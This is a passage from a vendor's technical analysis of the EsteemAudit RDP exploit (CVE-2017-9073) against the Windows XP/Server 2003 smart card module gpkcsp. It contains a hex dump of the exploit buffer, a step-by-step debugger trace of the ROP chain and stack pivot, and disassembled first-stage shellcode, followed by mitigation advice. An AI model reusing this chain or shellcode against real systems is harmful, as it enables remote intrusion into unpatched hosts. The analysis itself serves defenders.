08019208  c083c889 d0ff5014 03ebc031 5048c031  …..P..1…1.HP

08019218  852c468b 8b0e74c0 58e81058 85000000  .F,..t..X..X….

08019228  ff0274db c3e431d3 080192d8 00006346  .t…1……Fc..

08019238  08176dd8 0800119c 080011cc 000012b8  .m…………..

08019248  24548d00 c22ecd04 18c20018 0057b800  ..T$……….W.

08019258  548d0000 2ecd0424 6a0010c2 30006840  …T$……j@h.0

08019268  468d0000 c0315028 2c468d50 48c03150  …F(P1.P.F,P1.H

08019278  ffc6e850 68c3ffff 00008000 5028468d  P……h…..F(P

08019288  502c468d 5048c031 ffffc0e8 6578c3ff  .F,P1.HP……xe


After the exploit buffer is ready, gpkcsp!MyCPAcquireContext processes the ReleaseProvider path.


Figure 34 gpkcsp!MyCPAcquireContext processes the ReleaseProvider path

This will trigger the C++ class vtable call KeyObject->release in the CryptDestroyKey function.


Figure 35 Object is released in the CryptDestroyKey function

The log below show the process from controlling EIP to shellcode execution. The exploit uses the SharedUserData technique to call KiFastSystemCall to execute VirtualProtect and make the memory 0x080180d8 writable and executable, and to execute the shellcode at address 0x08019148. At this point the exploit has completed the first stage.

0:011> g 08007c2b

eax=080190dc ebx=77f3f5b0 ecx=02cdaff8 edx=00000000 esi=000000b8 edi=00000000

eip=08007c2b esp=02dfe40c ebp=02dfe420 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202


08007c2b ffd3            call    ebx {ADVAPI32!CryptDestroyKey (77f3f5b0)}



eax=00000001 ebx=00000001 ecx=77f50c75 edx=00000000 esi=080190dc edi=08019078

eip=77f3f615 esp=02dfe3c0 ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202


77f3f615 ff5608          call    dword ptr [esi+8]    ds:0023:080190e4=08005e85

0:011> t

eax=00000001 ebx=00000001 ecx=77f50c75 edx=00000000 esi=080190dc edi=08019078

eip=08005e85 esp=02dfe3bc ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202


08005e85 8bc6            mov     eax,esi


eax=080190dc ebx=00000001 ecx=77f50c75 edx=00000000 esi=080190dc edi=08019078

eip=08005e87 esp=02dfe3bc ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202


08005e87 5e              pop     esi


eax=080190dc ebx=00000001 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078

eip=08005e88 esp=02dfe3c0 ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202


08005e88 c3              ret

0:011> t

eax=080190dc ebx=00000001 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078

eip=0800bedd esp=02dfe3c4 ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202


0800bedd 94              xchg    eax,esp

0:011> t

eax=02dfe3c4 ebx=00000001 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078

eip=0800bede esp=080190dc ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202


0800bede c3              ret

0:011> t

eax=02dfe3c4 ebx=00000001 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078

eip=08011e7a esp=080190e0 ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202


08011e7a c21c00          ret     1Ch

0:011> t

eax=02dfe3c4 ebx=00000001 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078

eip=0801118e esp=08019100 ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202


0801118e c21800          ret     18h

0:011> t

eax=02dfe3c4 ebx=00000001 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078

eip=08011fef esp=0801911c ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202


08011fef c3              ret

0:011> t

eax=02dfe3c4 ebx=00000001 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078

eip=080128cc esp=08019120 ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202


080128cc 58              pop     eax

0:011> t

eax=0000008f ebx=00000001 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078

eip=080128cd esp=08019124 ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202


080128cd 5b              pop     ebx

0:011> t

eax=0000008f ebx=7ffe0300 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078

eip=080128ce esp=08019128 ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202


080128ce c3              ret

0:011> t

eax=0000008f ebx=7ffe0300 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078

eip=08015074 esp=0801912c ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202


08015074 ff23            jmp     dword ptr [ebx]      ds:0023:7ffe0300={ntdll!KiFastSystemCall (7c9585e8)}


Shellcode start:

No prior disassembly possible

08019148 b004            mov     al,4

0801914a 648b00          mov     eax,dword ptr fs:[eax]

0801914d 2d00060000      sub     eax,600h

08019152 89c4            mov     esp,eax

08019154 89c6            mov     esi,eax

08019156 e800000000      call    gpkcsp!IsProgButtonClick+0x8f (0801915b)

0801915b 90              nop

0801915c 5d              pop     ebp

0801915d 8b85d5000000    mov     eax,dword ptr [ebp+0D5h]

08019163 894604          mov     dword ptr [esi+4],eax

08019166 8b85d9000000    mov     eax,dword ptr [ebp+0D9h]

0801916c 89460c          mov     dword ptr [esi+0Ch],eax

0801916f 31c0            xor     eax,eax

08019171 894610          mov     dword ptr [esi+10h],eax

08019174 894614          mov     dword ptr [esi+14h],eax

08019177 8b85dd000000    mov     eax,dword ptr [ebp+0DDh]

0801917d 8b00            mov     eax,dword ptr [eax]

0801917f 8b80bc000000    mov     eax,dword ptr [eax+0BCh]

08019185 894618          mov     dword ptr [esi+18h],eax

08019188 8b85e1000000    mov     eax,dword ptr [ebp+0E1h]

0801918e 8b00            mov     eax,dword ptr [eax]

08019190 89461c          mov     dword ptr [esi+1Ch],eax

08019193 8b85e5000000    mov     eax,dword ptr [ebp+0E5h]

08019199 8b00            mov     eax,dword ptr [eax]

0801919b 894620          mov     dword ptr [esi+20h],eax

0801919e 8b460c          mov     eax,dword ptr [esi+0Ch]

080191a1 894628          mov     dword ptr [esi+28h],eax

080191a4 31c0            xor     eax,eax

080191a6 89462c          mov     dword ptr [esi+2Ch],eax

080191a9 e8b5000000      call    gpkcsp!IsProgButtonClick+0x197 (08019263)


0:011> !address 08019148

Failed to map Heaps (error 80004005)

Usage:                  Image

Allocation Base:        08000000

Base Address:           08019000

End Address:            0801e000

Region Size:            00005000

Type:                   01000000    MEM_IMAGE

State:                  00001000    MEM_COMMIT

Protect:                00000040   PAGE_EXECUTE_READWRITE

More info:              lmv m gpkcsp

More info:              !lmi gpkcsp

More info:              ln 0x8019148

Detection and Mitigation

As CVE-2017-9073 only exists on Windows Server 2003 and Windows XP, both of which are no longer supported by Microsoft, users should first consider upgrading to a newer version of Windows as no official patch is available. However, as this vulnerability exists in the smart card module gpkcsp, there are potential work-arounds.

  • Disabling the smart card module through Group Policy or in the registry.
    • Do this in the registry: Set/Add key fEnableSmartCard in the path HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\ to 0 with the type of REG_DWORD.
  • Traps prevents exploitation of this vulnerability on Windows XP and Server 2003 hosts.
  • Threat Prevention Signature 32533 released in Content Update 692 detects the exploit in the NGFW.
  • Wherever possible, disable or restrict access to RDP from external sources


RDP is a very useful but very complex component of Windows. Based on our analysis of the EsteemAudit exploit, we find that the vulnerability itself is not obscure, but it took quite a bit of effort to write a successful exploit. Interestingly, gpkcsp choose a global variable to store the data sent by the client, it supplies a capacity of controlling the arbitrary data in already-known address in the remote server without ASLR. This is a powerful feature for exploit authors to take advantage of. In any case, EsteemAudit is a reliable and powerful RDP exploit tool for Windows XP and Windows 2003. Users should take steps to ensure their Windows XP and Windows Server 2003 are protected through one of the mitigation steps listed above. A network vulnerability like this one can be used in a “worm-able” fashion, similar to the WanaCrypt0r attacks which had global impact earlier this month.


Share on FacebookTweet about this on TwitterShare on LinkedInShare on RedditShare on Google+Share on TumblrPin on PinterestDigg this